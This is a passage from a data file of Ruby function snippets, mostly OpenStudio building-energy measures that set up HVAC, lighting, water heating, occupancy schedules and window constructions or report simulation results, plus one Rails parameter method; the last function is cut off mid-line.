"def run(runner, user_arguments)\n super(runner, user_arguments)\n\n # use the built-in error checking \n if !runner.validateUserArguments(arguments(), user_arguments)\n return false\n end\n\n # Assign the user inputs to variables\n variable_name = runner.getStringArgumentValue(\"variable_name\",user_arguments)\n reporting_frequency = runner.getStringArgumentValue(\"reporting_frequency\",user_arguments)\n key_value = runner.getStringArgumentValue(\"key_value\",user_arguments) \n env = runner.getStringArgumentValue(\"env\", user_arguments)\n\n #set ann_env_pd to be user defined arg\n ann_env_pd = env\n \n # get the last model and sql file\n model = runner.lastOpenStudioModel\n if model.empty?\n runner.registerError(\"Cannot find last model.\")\n return false\n end\n model = model.get\n\n sql = runner.lastEnergyPlusSqlFile\n if sql.empty?\n runner.registerError(\"Cannot find last sql file.\")\n return false\n end\n sql = sql.get\n model.setSqlFile(sql)\n\n find_avail = TRUE\n if find_avail \n ts = sql.availableTimeSeries\n runner.registerInfo(\"available timeseries: #{ts}\")\n runner.registerInfo(\"\")\n envs = sql.availableEnvPeriods\n envs.each do |env_s|\n freqs = sql.availableReportingFrequencies(env_s)\n runner.registerInfo(\"available EnvPeriod: #{env_s}, available ReportingFrequencies: #{freqs}\")\n freqs.each do |freq|\n vn = sql.availableVariableNames(env_s,freq.to_s)\n runner.registerInfo(\"available variable names: #{vn}\")\n vn.each do |v| \n kv = sql.availableKeyValues(env_s,freq.to_s,v)\n runner.registerInfo(\"variable names: #{v}\")\n runner.registerInfo(\"available key value: #{kv}\")\n end\n end \n end \n end\n \n # Get the weather file run period (as opposed to design day run period)\n # ann_env_pd = nil\n # sql.availableEnvPeriods.each do |env_pd|\n # env_type = sql.environmentType(env_pd)\n # if env_type.is_initialized\n # if env_type.get == OpenStudio::EnvironmentType.new(\"WeatherRunPeriod\")\n # ann_env_pd = env_pd\n # end\n # end\n # end\n\n # if ann_env_pd == false\n # runner.registerError(\"Can't find a weather runperiod, make sure you ran an annual simulation, not just the design days.\")\n # return false\n # end\n \n # Method to translate from OpenStudio's time formatting\n # to Javascript time formatting\n # OpenStudio time\n # 2009-May-14 00:10:00 Raw string\n # Javascript time\n # 2009/07/12 12:34:56\n def to_JSTime(os_time)\n js_time = os_time.to_s\n # Replace the '-' with '/'\n js_time = js_time.gsub('-','/')\n # Replace month abbreviations with numbers\n js_time = js_time.gsub('Jan','01')\n js_time = js_time.gsub('Feb','02')\n js_time = js_time.gsub('Mar','03')\n js_time = js_time.gsub('Apr','04')\n js_time = js_time.gsub('May','05')\n js_time = js_time.gsub('Jun','06')\n js_time = js_time.gsub('Jul','07')\n js_time = js_time.gsub('Aug','08')\n js_time = js_time.gsub('Sep','09')\n js_time = js_time.gsub('Oct','10')\n js_time = js_time.gsub('Nov','11')\n js_time = js_time.gsub('Dec','12')\n \n return js_time\n\n end \n \n # Create an array of arrays of variables\n variables_to_graph = []\n if key_value == \"*\"\n # Get all the key values from the sql file\n runner.registerInfo(\"Plotting #{sql.availableKeyValues(ann_env_pd, reporting_frequency, variable_name).size} variables\")\n sql.availableKeyValues(ann_env_pd, reporting_frequency, variable_name).each do |kv|\n variables_to_graph << [variable_name, reporting_frequency, kv]\n runner.registerInfo(\"Plotting #{kv}\")\n end\n else\n runner.registerInfo(\"Plotting #{variable_name}: #{reporting_frequency}: #{key_value}\")\n variables_to_graph << [variable_name, reporting_frequency, key_value]\n runner.registerInfo(\"variables_to_graph: #{variables_to_graph}\")\n end\n \n # Create a new series like this\n # for each condition series we want to plot\n # {\"name\" : \"series 1\",\n # \"color\" : \"purple\",\n # \"data\" :[{ \"x\": 20, \"y\": 0.015, \"time\": \"2009/07/12 12:34:56\"},\n # { \"x\": 25, \"y\": 0.008, \"time\": \"2009/07/12 12:34:56\"},\n # { \"x\": 30, \"y\": 0.005, \"time\": \"2009/07/12 12:34:56\"}]\n # }\n all_series = []\n variables_to_graph.each_with_index do |var_to_graph, j|\n \n var_name = var_to_graph[0]\n freq = var_to_graph[1]\n kv = var_to_graph[2]\n\n runner.registerInfo(\"sqlcall: #{ann_env_pd},#{freq},#{var_name},#{kv}\") \n # Get the y axis values\n y_timeseries = sql.timeSeries(ann_env_pd, freq, var_name, kv)\n if y_timeseries.empty?\n runner.registerWarning(\"No data found for '#{ann_env_pd}: #{freq}: #{var_name}: #{kv}'\")\n next\n else\n y_timeseries = y_timeseries.get\n end\n y_vals = y_timeseries.values\n \n # Convert time stamp format to be more readable\n js_date_times = []\n y_timeseries.dateTimes.each do |date_time|\n js_date_times << to_JSTime(date_time)\n end \n \n # Store the timeseries data to hash for later\n # export to the HTML file\n series = {}\n series[\"name\"] = \"#{kv}\"\n series[\"type\"] = \"#{var_name}\"\n series[\"units\"] = y_timeseries.units\n data = []\n for i in 0..(js_date_times.size - 1)\n point = {}\n point[\"y\"] = y_vals[i].round(2)\n point[\"time\"] = js_date_times[i]\n data << point\n end\n series[\"data\"] = data\n all_series << series \n \n # increment color selection\n j += 1 \n \n end\n \n # Convert all_series to JSON.\n # This JSON will be substituted\n # into the HTML file.\n require 'json'\n all_series = all_series.to_json\n \n # read in template\n html_in_path = \"#{File.dirname(__FILE__)}/resources/report.html.erb\"\n if File.exist?(html_in_path)\n html_in_path = html_in_path\n else\n html_in_path = \"#{File.dirname(__FILE__)}/report.html.erb\"\n end\n html_in = \"\"\n File.open(html_in_path, 'r') do |file|\n html_in = file.read\n end\n\n # configure template with variable values\n renderer = ERB.new(html_in)\n html_out = renderer.result(binding)\n \n # write html file\n html_out_path = \"./report.html\"\n File.open(html_out_path, 'w') do |file|\n file << html_out\n # make sure data is written to the disk one way or the other\n begin\n file.fsync\n rescue\n file.flush\n end\n end\n\n # close the sql file\n sql.close()\n\n return true\n \n end",
"def run(model, runner, user_arguments)\n super(model, runner, user_arguments)\n\n # use the built-in error checking\n if not runner.validateUserArguments(arguments(model), user_arguments)\n return false\n end\n\n seer = runner.getDoubleArgumentValue('seer', user_arguments)\n eers = [runner.getDoubleArgumentValue('eer', user_arguments), runner.getDoubleArgumentValue('eer2', user_arguments)]\n shrs = [runner.getDoubleArgumentValue('shr', user_arguments), runner.getDoubleArgumentValue('shr2', user_arguments)]\n capacity_ratios = [runner.getDoubleArgumentValue('capacity_ratio', user_arguments), runner.getDoubleArgumentValue('capacity_ratio2', user_arguments)]\n fan_speed_ratios = [runner.getDoubleArgumentValue('fan_speed_ratio', user_arguments), runner.getDoubleArgumentValue('fan_speed_ratio2', user_arguments)]\n fan_power_rated = runner.getDoubleArgumentValue('fan_power_rated', user_arguments)\n fan_power_installed = runner.getDoubleArgumentValue('fan_power_installed', user_arguments)\n crankcase_capacity = runner.getDoubleArgumentValue('crankcase_capacity', user_arguments)\n crankcase_temp = runner.getDoubleArgumentValue('crankcase_temp', user_arguments)\n eer_capacity_derate_1ton = runner.getDoubleArgumentValue('eer_capacity_derate_1ton', user_arguments)\n eer_capacity_derate_2ton = runner.getDoubleArgumentValue('eer_capacity_derate_2ton', user_arguments)\n eer_capacity_derate_3ton = runner.getDoubleArgumentValue('eer_capacity_derate_3ton', user_arguments)\n eer_capacity_derate_4ton = runner.getDoubleArgumentValue('eer_capacity_derate_4ton', user_arguments)\n eer_capacity_derate_5ton = runner.getDoubleArgumentValue('eer_capacity_derate_5ton', user_arguments)\n eer_capacity_derates = [eer_capacity_derate_1ton, eer_capacity_derate_2ton, eer_capacity_derate_3ton, eer_capacity_derate_4ton, eer_capacity_derate_5ton]\n capacity = runner.getStringArgumentValue('capacity', user_arguments)\n unless capacity == Constants.SizingAuto\n capacity = UnitConversions.convert(capacity.to_f, 'ton', 'Btu/hr')\n end\n dse = runner.getStringArgumentValue('dse', user_arguments)\n if dse.to_f > 0\n dse = dse.to_f\n else\n dse = 1.0\n end\n frac_cool_load_served = 1.0\n\n # Get building units\n units = Geometry.get_building_units(model, runner)\n if units.nil?\n return false\n end\n\n units.each do |unit|\n thermal_zones = Geometry.get_thermal_zones_from_spaces(unit.spaces)\n HVAC.get_control_and_slave_zones(thermal_zones).each do |control_zone, slave_zones|\n ([control_zone] + slave_zones).each do |zone|\n HVAC.remove_cooling(model, runner, zone, unit)\n end\n end\n\n success = HVAC.apply_central_ac_2speed(model, unit, runner, seer, eers, shrs,\n capacity_ratios, fan_speed_ratios,\n fan_power_rated, fan_power_installed,\n crankcase_capacity, crankcase_temp,\n eer_capacity_derates, capacity, dse,\n frac_cool_load_served)\n return false if not success\n end # unit\n\n return true\n end",
"def debug_run_params\n params.require(:debug_run).permit(:input, :output, :pre_state, :post_state, :code_id, :user_id, :has_error)\n end",
"def run(model, runner, user_arguments)\n super(model, runner, user_arguments)\n\n # use the built-in error checking\n if !runner.validateUserArguments(arguments(model), user_arguments)\n return false\n end\n\n # report initial condition of model\n runner.registerInitialCondition(\"Start.\")\n\n # get current file directory\n model_temp_run_path = Dir.pwd + '/'\n model_temp_measure_path = File.expand_path(\"../../..\", model_temp_run_path) + '/resources/measures/Occupancy_Simulator/'\n model_temp_resources_path =File.expand_path(\"../../..\", model_temp_run_path) + '/resources/'\n\n runner.registerInfo(\"The temp run directory is '#{model_temp_run_path}'\")\n obFMU_path = File.dirname(__FILE__) + '/resources/'\n runner.registerInfo(\"obFMU_path is '#{obFMU_path}'\")\n\n runner.registerInfo(\"The temp measure directory is '#{model_temp_measure_path}'\")\n runner.registerInfo(\"The temp resources directory is '#{model_temp_resources_path}'\")\n\n # Load reauired class\n if File.directory?(model_temp_measure_path + 'resources')\n load model_temp_measure_path + 'resources/UserLibrary.rb'\n userLib = UserLibrary.new(model_temp_measure_path + \"resources/library.csv\")\n else\n load obFMU_path + 'UserLibrary.rb'\n userLib = UserLibrary.new(obFMU_path + \"library.csv\")\n end\n\n # ### Get user input for whether to use default assumptions by space types\n v_space_types = model.getSpaceTypes\n\n\n ### Get user selected occupancy assumptions for each space\n i = 1\n occ_type_arg_vals = {}\n # Loop through all space types, group spaces by their types\n v_space_types.each do |space_type|\n # Loop through all spaces of current space type\n v_current_spaces = space_type.spaces\n next if not v_current_spaces.size > 0\n v_current_spaces.each do |current_space|\n occ_type_val = runner.getStringArgumentValue(\"Space_#{i}_\" + current_space.nameString, user_arguments)\n occ_type_arg_vals[current_space.nameString] = occ_type_val\n i += 1\n end\n end\n\n all_args = []\n all_args[0] = occ_type_arg_vals\n\n # Read obXML file and call obFMU.exe\n # For now, we assume obXML is generated in the same path under ./OSimulator_out\n output_path = obFMU_path + 'OccSimulator_out'\n xml_path = obFMU_path # where the obXMl and coSimXML files are stored\n xml_file_name = xml_path + \"obXML.xml\"\n co_sim_file_name = xml_path + \"obCoSim.xml\"\n\n # Change this to the temp path (Dir)\n output_file_name = output_path\n\n # Generate obXML and coSimXML files\n result_hashes = obXML_builder(model, userLib, xml_path, all_args)\n coSimXML_builder(model, xml_path)\n\n # Command to call obFMU.exe\n system(obFMU_path + 'obFMU.exe', xml_file_name, output_file_name, co_sim_file_name)\n runner.registerInfo(\"Occupancy schedule simulation successfully completed.\")\n # Move the file to the temp folder\n external_csv_path = output_file_name + '_IDF.csv'\n\n\n runner.registerInfo(\"The old output occ sch file is at '#{external_csv_path}'\")\n\n # Important, copy the output csv from the obFMU path\n # FileUtils.cp(output_file_name + '_IDF.csv', model_temp_resources_path) # No longer need this with OS V2.7.1 or later\n\n runner.registerInfo(\"Occupancy schedule files copied to the temporary folder: #{model_temp_run_path}.\")\n\n # Read schedule file from csv\n # Update: Han Li 2018/9/14\n # Read schedule back to osm\n runner.registerInfo(\"Reading stochastic occupancy schedule back to the osm.\")\n\n space_ID_map = result_hashes[0]\n n_occ_hash = result_hashes[1]\n\n all_args[1] = space_ID_map\n all_args[2] = n_occ_hash\n\n\n # Remove all people object (if exist) in the old model\n model.getPeoples.each do |os_people|\n os_people.remove\n end\n\n model.getPeopleDefinitions.each do |os_people_def|\n os_people_def.remove\n end\n\n # Add schedule:file to model\n model.getSpaces.each do |space|\n model = set_schedule_for_people(model, space.name.to_s, external_csv_path, userLib, all_args)\n end\n\n runner.registerInfo(\"Occupancy schedule updated.\")\n # report final condition of model\n\n runner.registerFinalCondition(\"End.\")\n\n return true\n\n end",
"def run(model, runner, user_arguments)\n super(model, runner, user_arguments)\n\n # use the built-in error checking\n if !runner.validateUserArguments(arguments(model), user_arguments)\n return false\n end \n\n # Return N/A if not selected to run\n run_measure = runner.getIntegerArgumentValue(\"run_measure\",user_arguments)\n if run_measure == 0\n runner.registerAsNotApplicable(\"Run Measure set to #{run_measure}.\")\n return true \n end\n \n initial_efficacy = 90.0 # 90 lm/W assuming 90.1-2013 T8 lighting\n target_efficacy = 145.0 # 145 lm/W, from http://apps1.eere.energy.gov/buildings/publications/pdfs/ssl/ssl_energy-savings-report_jan-2012.pdf\n \n runner.registerInfo(\"The initial lighting efficacy is assumed to be #{initial_efficacy.round(1)} lm/W.\")\n runner.registerInfo(\"The target lighting efficacy is #{target_efficacy.round(1)} lm/W.\")\n\n # report initial condition of model\n initial_lighting_power = model.getBuilding.lightingPower\n runner.registerInitialCondition(\"The building started with #{initial_lighting_power.round} W of lighting.\")\n \n # Determine the wattage multiplier (assumes that providing same \n # number of lumens is adequate to light space, and that the light\n # would be adequately dispersed by the fixtures.\n ltg_pwr_multiplier = initial_efficacy/target_efficacy\n runner.registerInfo(\"A multiplier of #{ltg_pwr_multiplier.round(2)} will be used to change the lighting power in the model.\")\n \n # Loop through all lights definitions in the model\n # and change the lighting power based on the multiplier.\n model.getLightsDefinitions.each do |lights_def|\n if lights_def.lightingLevel.is_initialized\n lights_def.setLightingLevel(lights_def.lightingLevel.get * ltg_pwr_multiplier)\n elsif lights_def.wattsperSpaceFloorArea.is_initialized\n lights_def.setWattsperSpaceFloorArea(lights_def.wattsperSpaceFloorArea.get * ltg_pwr_multiplier)\n elsif lights_def.wattsperPerson.is_initialized\n lights_def.setWattsperPerson(lights_def.wattsperPerson.get * ltg_pwr_multiplier)\n else\n runner.registerWarning(\"'#{lights_def.name}' uses no power. Its performance was not altered.\")\n end\n end\n\n # report final condition of model\n final_lighting_power = model.getBuilding.lightingPower\n runner.registerFinalCondition(\"The building finished with #{final_lighting_power.round} W of lighting.\")\n\n return true\n\n end",
"def run(model, runner, user_arguments)\n super(model, runner, user_arguments)\n\n # use the built-in error checking\n if !runner.validateUserArguments(arguments(model), user_arguments)\n return false\n end\n\n ### START INPUTS\n # assign the user inputs to variables\n costTotalSwhSystem = runner.getDoubleArgumentValue('costTotalSwhSystem', user_arguments)\n numberOfEmployees = runner.getIntegerArgumentValue('numberOfEmployees', user_arguments)\n # default building/space types\n standardBuildingTypeTest = ['Office']\n primarySpaceType = 'Office'\n swhSpaceType = 'Restroom'\n # water use equipment inputs\n waterUsePerEmployee = 0.00000025957074 # m3/s*employee\n ### END INPUTS\n\n ### START DETERMINE BUILDING TYPE\n standardBuildingType = false\n if model.building.is_initialized\n if model.building.get.standardsBuildingType.is_initialized\n standardBuildingType = model.building.get.standardsBuildingType.get\n end\n end\n unless standardBuildingType\n # search primary space type for standardsBuildingType\n model.getSpaces.each do |space|\n next if standardBuildingType\n if space.spaceType.is_initialized\n if space.spaceType.get.standardsSpaceType.is_initialized\n if space.spaceType.get.standardsBuildingType.is_initialized\n if space.spaceType.get.standardsSpaceType.get.include?(primarySpaceType) || ((space.spaceType.get.standardsSpaceType.get == 'WholeBuilding') && space.spaceType.get.standardsBuildingType.get.include?(primarySpaceType))\n standardBuildingType = space.spaceType.get.standardsBuildingType.get\n end\n end\n end\n end\n end\n end\n building_type = false\n standardBuildingTypeTest.each do |building_type_test|\n if standardBuildingType.include? building_type_test\n building_type = building_type_test\n end\n end\n unless building_type\n # building type not specified or not appropriate for this measure\n runner.registerInfo(\"Building type is not specified or not supported. Measure will proceed assuming type is #{standardBuildingTypeTest}.\")\n building_type = standardBuildingTypeTest\n end\n ### END DETERMINE BUILDING TYPE\n\n ### START FIND SWH SPACES\n # for restroom, water use will be applied to each restroom\n numberOfRestrooms = 0\n restroomSpaces = []\n # get all restroom spaces\n model.getSpaces.each do |space|\n if space.spaceType.is_initialized\n if space.spaceType.get.standardsSpaceType.is_initialized\n if space.spaceType.get.standardsSpaceType.get.include? swhSpaceType\n restroomSpaces << space\n numberOfRestrooms += 1\n end\n end\n end\n end\n unless numberOfRestrooms > 0\n runner.registerAsNotApplicable(\"Model does not have any #{swhSpaceType} spaces. Measure will not apply #{swhSpaceType} recommendations.\")\n return true\n end\n ### END FIND SWH SPACES\n\n ### START REPORT INITIAL CONDITIONS\n OsLib_HVAC.reportConditions(model, runner, 'initial')\n ### END REPORT INITIAL CONDITIONS\n\n ### START DELETE EXISTING EQUIPMENT\n # remove plant loops for SWH\n model.getPlantLoops.each do |plantLoop|\n usedForSHW = false\n plantLoop.demandComponents.each do |comp|\n if comp.to_WaterUseConnections.is_initialized\n usedForSHW = true\n end\n end\n if usedForSHW\n plantLoop.remove\n runner.registerWarning(\"#{plantLoop.name} for service water heating will be deleted so that AEDG recommendations can be applied.\")\n end\n end\n ### END DELETE EXISTING EQUIPMENT\n\n ### START APPLY SWH RECOMMENDATIONS\n # create swh water plant\n swhPlant = OpenStudio::Model::PlantLoop.new(model)\n swhPlant.setName('AEDG SWH Loop')\n swhPlant.setMaximumLoopTemperature(60)\n swhPlant.setMinimumLoopTemperature(10)\n loopSizing = swhPlant.sizingPlant\n loopSizing.setLoopType('Heating')\n loopSizing.setDesignLoopExitTemperature(60) # ML follows convention of sizing temp being larger than supply temp\n loopSizing.setLoopDesignTemperatureDifference(5)\n # create a pump\n pump = OpenStudio::Model::PumpVariableSpeed.new(model)\n pump.setRatedPumpHead(1) # Pa\n pump.setMotorEfficiency(1.0)\n pump.setCoefficient1ofthePartLoadPerformanceCurve(0)\n pump.setCoefficient2ofthePartLoadPerformanceCurve(1)\n pump.setCoefficient3ofthePartLoadPerformanceCurve(0)\n pump.setCoefficient4ofthePartLoadPerformanceCurve(0)\n # supply components\n # create a water heater\n waterHeater = OpenStudio::Model::WaterHeaterMixed.new(model)\n waterHeater.setTankVolume(1) # ML volume is arbitrary; just needs to be big enough to serve building\n waterHeater.setHeaterThermalEfficiency(0.9)\n waterHeater.setOffCycleParasiticHeatFractiontoTank(0.9)\n waterHeater.setAmbientTemperatureIndicator('Schedule')\n # setpoint temperature schedule\n waterHeaterSetpointSchedule = OsLib_Schedules.createComplexSchedule(model, 'name' => 'AEDG Water-Heater-Temp-Schedule',\n 'default_day' => ['All Days', [24, 60.0]])\n waterHeater.setSetpointTemperatureSchedule(waterHeaterSetpointSchedule)\n # ambient temperature schedule\n waterHeaterAmbientTemperatureSchedule = OsLib_Schedules.createComplexSchedule(model, 'name' => 'AEDG Water-Heater-Ambient-Temp-Schedule',\n 'default_day' => ['All Days', [24, 22.0]])\n waterHeater.setAmbientTemperatureSchedule(waterHeaterAmbientTemperatureSchedule)\n # create a scheduled setpoint manager\n swhSetpointSchedule = OsLib_Schedules.createComplexSchedule(model, 'name' => 'AEDG SWH-Loop-Temp-Schedule',\n 'default_day' => ['All Days', [24, 60.0]])\n setpointManagerScheduled = OpenStudio::Model::SetpointManagerScheduled.new(model, swhSetpointSchedule)\n # create a supply bypass pipe\n pipeSupplyBypass = OpenStudio::Model::PipeAdiabatic.new(model)\n # create a supply outlet pipe\n pipeSupplyOutlet = OpenStudio::Model::PipeAdiabatic.new(model)\n # demand components\n waterUseConnections = []\n # building swh flow fraction schedule\n ruleset_name = 'AEDG SWH-Flow-Fraction-Schedule'\n winter_design_day = [[24, 0]]\n summer_design_day = [[24, 1]]\n default_day = ['Weekday', [7, 0.05], [8, 0.10], [9, 0.34], [10, 0.60], [11, 0.63], [12, 0.72], [13, 0.79], [14, 0.83], [15, 0.61], [16, 0.65], [18, 0.10], [19, 0.19], [20, 0.25], [22, 0.22], [23, 0.12], [24, 0.09]]\n rules = []\n rules << ['Weekend', '1/1-12/31', 'Sat/Sun', [8, 0.03], [14, 0.05], [24, 0.03]]\n rules << ['Summer Weekday', '7/1-8/31', 'Mon/Tue/Wed/Thu/Fri', [7, 0.05], [18, 0.10], [19, 0.19], [20, 0.25], [22, 0.22], [23, 0.12], [24, 0.09]]\n optionsFlowFraction = { 'name' => ruleset_name,\n 'winter_design_day' => winter_design_day,\n 'summer_design_day' => summer_design_day,\n 'default_day' => default_day,\n 'rules' => rules }\n flowFractionSchedule = OsLib_Schedules.createComplexSchedule(model, optionsFlowFraction)\n # target temperature schedule\n targetTemperatureSchedule = OsLib_Schedules.createComplexSchedule(model, 'name' => 'AEDG SWH-Target-Temperature-Schedule',\n 'default_day' => ['All Days', [24, 40]])\n # sensible fraction schedule name\n sensibleFractionSchedule = OsLib_Schedules.createComplexSchedule(model, 'name' => 'AEDG SWH-Sensible-Fraction-Schedule',\n 'default_day' => ['All Days', [24, 0.2]])\n # latent fraction schedule name\n latentFractionSchedule = OsLib_Schedules.createComplexSchedule(model, 'name' => 'AEDG SWH-Latent-Fraction-Schedule',\n 'default_day' => ['All Days', [24, 0.05]])\n # hot water supply temperature schedule\n hotWaterSupplyTemperatureSchedule = OsLib_Schedules.createComplexSchedule(model, 'name' => 'AEDG SWH-Hot-Supply-Temperature-Schedule',\n 'default_day' => ['All Days', [24, 55]])\n # create water use equipment definitions, equipment, and connections\n waterUsePerRestroom = waterUsePerEmployee * numberOfEmployees / numberOfRestrooms\n # create water use equipment definition for restrooms\n waterUseEquipmentDefinition = OpenStudio::Model::WaterUseEquipmentDefinition.new(model)\n waterUseEquipmentDefinition.setName(\"AEDG #{swhSpaceType} Water Use\")\n waterUseEquipmentDefinition.setPeakFlowRate(waterUsePerRestroom)\n waterUseEquipmentDefinition.setTargetTemperatureSchedule(targetTemperatureSchedule)\n waterUseEquipmentDefinition.setSensibleFractionSchedule(sensibleFractionSchedule)\n waterUseEquipmentDefinition.setLatentFractionSchedule(latentFractionSchedule)\n runner.registerInfo(\"Adding SWH to #{restroomSpaces.size} restrooms.\")\n restroomSpaces.each do |restroomSpace|\n # water use equipment\n waterUseEquipment = OpenStudio::Model::WaterUseEquipment.new(waterUseEquipmentDefinition)\n waterUseEquipment.setSpace(restroomSpace)\n waterUseEquipment.setFlowRateFractionSchedule(flowFractionSchedule)\n # water use connection\n waterUseConnection = OpenStudio::Model::WaterUseConnections.new(model)\n waterUseConnection.addWaterUseEquipment(waterUseEquipment)\n waterUseConnection.setHotWaterSupplyTemperatureSchedule(hotWaterSupplyTemperatureSchedule)\n waterUseConnections << waterUseConnection\n end\n # create a demand bypass pipe\n pipeDemandBypass = OpenStudio::Model::PipeAdiabatic.new(model)\n # create a demand inlet pipe\n pipeDemandInlet = OpenStudio::Model::PipeAdiabatic.new(model)\n # create a demand outlet pipe\n pipeDemandOutlet = OpenStudio::Model::PipeAdiabatic.new(model)\n # connect components to plant loop\n # supply side components\n swhPlant.addSupplyBranchForComponent(waterHeater)\n swhPlant.addSupplyBranchForComponent(pipeSupplyBypass)\n pump.addToNode(swhPlant.supplyInletNode)\n pipeSupplyOutlet.addToNode(swhPlant.supplyOutletNode)\n setpointManagerScheduled.addToNode(swhPlant.supplyOutletNode)\n # demand side components (water coils are added as they are added to airloops and zoneHVAC)\n waterUseConnections.each do |waterUseConnection|\n swhPlant.addDemandBranchForComponent(waterUseConnection)\n end\n swhPlant.addDemandBranchForComponent(pipeDemandBypass)\n pipeDemandInlet.addToNode(swhPlant.demandInletNode)\n pipeDemandOutlet.addToNode(swhPlant.demandOutletNode)\n ### END APPLY SWH RECOMMENDATIONS\n\n # TODO: - add in lifecycle costs\n expected_life = 25\n years_until_costs_start = 0\n costSwh = costTotalSwhSystem\n lcc_mat = OpenStudio::Model::LifeCycleCost.createLifeCycleCost('Refrigeration System', model.getBuilding, costSwh, 'CostPerEach', 'Construction', expected_life, years_until_costs_start).get\n\n # add AEDG tips\n aedgTips = ['WH01', 'WH02', 'WH03', 'WH04', 'WH05', 'WH06']\n\n # populate how to tip messages\n aedgTipsLong = OsLib_AedgMeasures.getLongHowToTips('SmMdOff', aedgTips.uniq.sort, runner)\n if !aedgTipsLong\n return false # this should only happen if measure writer passes bad values to getLongHowToTips\n end\n\n ### START REPORT FINAL CONDITIONS\n OsLib_HVAC.reportConditions(model, runner, 'final', aedgTipsLong)\n ### END REPORT FINAL CONDITIONS\n\n return true\n end",
"def run(model, runner, user_arguments)\n super(model, runner, user_arguments)\n\n # use the built-in error checking\n if !runner.validateUserArguments(arguments(model), user_arguments)\n return false\n end\n\n # assign the user inputs to variables\n verbose_info_statements = runner.getBoolArgumentValue(\"verbose_info_statements\",user_arguments)\n fixed_window_subsurface = runner.getOptionalWorkspaceObjectChoiceValue('fixed_window_subsurface', user_arguments, model) # model is passed in because of argument type\n internal_variable_availability_dictionary_reporting = runner.getStringArgumentValue('internal_variable_availability_dictionary_reporting', user_arguments)\n ems_runtime_language_debug_output_level = runner.getStringArgumentValue('ems_runtime_language_debug_output_level', user_arguments) \n actuator_availability_dictionary_reporting = runner.getStringArgumentValue('actuator_availability_dictionary_reporting', user_arguments) \n \n runner.registerInitialCondition(\"Measure began with #{model.getEnergyManagementSystemSensors.count} EMS sensors, #{model.getEnergyManagementSystemActuators.count} EMS Actuators, #{model.getEnergyManagementSystemPrograms.count} EMS Programs, #{model.getEnergyManagementSystemSubroutines.count} EMS Subroutines, #{model.getEnergyManagementSystemProgramCallingManagers.count} EMS Program Calling Manager objects\")\n \n # declare arrys for scope\n array_of_21_sets = []\n material_property_glazing_spectral_data_vector = []\n standard_glazing_layer_array = []\n construction_array = []\n ems_window_construction_array = []\n \n # load idf into workspace\n workspace = OpenStudio::Workspace::load(OpenStudio::Path.new(\"#{File.dirname(__FILE__)}/resources/EMSThermochromicWindow.idf\")).get\n \n # get all MaterialPropertyGlazingSpectralData objects from within the idf\n # material_property_glazing_spectral_datas = source_idf.getObjectsByType(\"MaterialProperty:GlazingSpectralData\".to_IddObjectType)\n material_property_glazing_spectral_datas = workspace.getObjectsByType(\"MaterialProperty:GlazingSpectralData\".to_IddObjectType)\n if verbose_info_statements == true\n runner.registerInfo(\"The model has #{material_property_glazing_spectral_datas.size} material_property_glazing_spectral_datas objects.\")\n end\n \n material_property_glazing_spectral_datas.each do |material_property_glazing_spectral_data|\n \n spectral_data = {\"name\" => \"\",\"properties\" => []}\n spectral_data[\"name\"] = material_property_glazing_spectral_data.getString(0).to_s\n \n # Note: EnergyPlus file MaterialProperty:GlazingSpectralData objects have 1764 /4 = 441 sets of 4 values each \n n = material_property_glazing_spectral_data.numFields\n (1..n).each do |i| \n spectral_data[\"properties\"] << material_property_glazing_spectral_data.getString(i).to_s \n end\n array_of_21_sets << spectral_data\n end\n \n array_of_21_sets.each do |set|\n \n props = set[\"properties\"]\n material_property_glazing_spectral_data = OpenStudio::Model::MaterialPropertyGlazingSpectralData.new(model)\n material_property_glazing_spectral_data.setName(\"#{set[\"name\"]}\")\n \n k = (props.length / 4) - 1\n (0..k).each do |i| # note 440 uniques (a, b, c, d) pairs of attributes for each spectral data field object\n material_property_glazing_spectral_data.addSpectralDataField(props[(i*4)+0].to_f, props[(i*4)+1].to_f, props[(i*4)+2].to_f, props[(i*4)+3].to_f)\t\n end\n \n material_property_glazing_spectral_data_vector << material_property_glazing_spectral_data\n end \n \n # create (2) required new air gas materials to used by all EMS window constructions \n air_gas_3mm_material = OpenStudio::Model::Gas.new(model, \"Air\", 0.003) \n air_gas_3mm_material.setName(\"AIR 3MM\")\n \n air_gas_8mm_material = OpenStudio::Model::Gas.new(model, \"Air\", 0.008) \n air_gas_8mm_material.setName(\"AIR 8MM\")\n \n # loop through array of OS MaterialPropertyGlazingSpectralData objects and create 21 new Standard Glazing objects \n material_property_glazing_spectral_data_vector.each do |spec_data_obj|\n spec_data_obj_name = spec_data_obj.name\n layer_name = spec_data_obj_name.to_s.slice(\"sp\")\n if ((spec_data_obj_name == \"WO18RT25SP\") || (spec_data_obj_name == \"Clear3PPGSP\"))\n layer = OpenStudio::Model::StandardGlazing.new(model, 'Spectral', 0.0075)\n else\n layer = OpenStudio::Model::StandardGlazing.new(model, 'Spectral', 0.003276)\n end\n layer.setName(\"#{layer_name}\")\n layer.setWindowGlassSpectralDataSet(spec_data_obj)\n layer.setInfraredTransmittanceatNormalIncidence(0) # same for all 21 constructions\n layer.setFrontSideInfraredHemisphericalEmissivity(0.84) # same for all 21 constructions\n layer.setBackSideInfraredHemisphericalEmissivity(0.84) # same for all 21 constructions\n if ((spec_data_obj_name == \"WO18RT25SP\") || (spec_data_obj_name == \"Clear3PPGSP\"))\n layer.setConductivity(1.0) \n else\n layer.setConductivity(0.6) \n end\n layer.setDirtCorrectionFactorforSolarandVisibleTransmittance(1) # same for all 21 constructions\n layer.setSolarDiffusing(false)\n standard_glazing_layer_array << layer\n end\n\n # Create (2) unique standard glazing layers not used for Thermochromatic performance \n sb60_clear_3_ppg_layer = standard_glazing_layer_array[0]\n clear_3ppg_layer = standard_glazing_layer_array[1]\n remaining_standard_glazing_layer_array = standard_glazing_layer_array.drop(2)\n \n # create (19) new arrays of layered constructions representing thermochromatic layers\n remaining_standard_glazing_layer_array.each do |remaining_standard_glazing_layer|\n construction = [sb60_clear_3_ppg_layer, air_gas_3mm_material, remaining_standard_glazing_layer, air_gas_8mm_material, sb60_clear_3_ppg_layer]\n construction_array << construction\n end\n \n # create 19 new OS:Construction objects representing EMS thermochromatic windows\n name_index_array = [25, 27, 29, 31, 33, 35, 37, 39, 41, 43, 45, 50, 55, 60, 65, 70, 75, 80, 85]\n index = 0\n \n construction_array.each do |const|\n ems_window_construction = OpenStudio::Model::Construction.new(const)\n ems_window_construction.setName(\"TCwindow_#{name_index_array[index]}\")\n if verbose_info_statements == true\n runner.registerInfo(\"Created a new Construction named #{ems_window_construction.name} representing a thermochromatic window construction.\")\n end\n ems_window_construction_array << 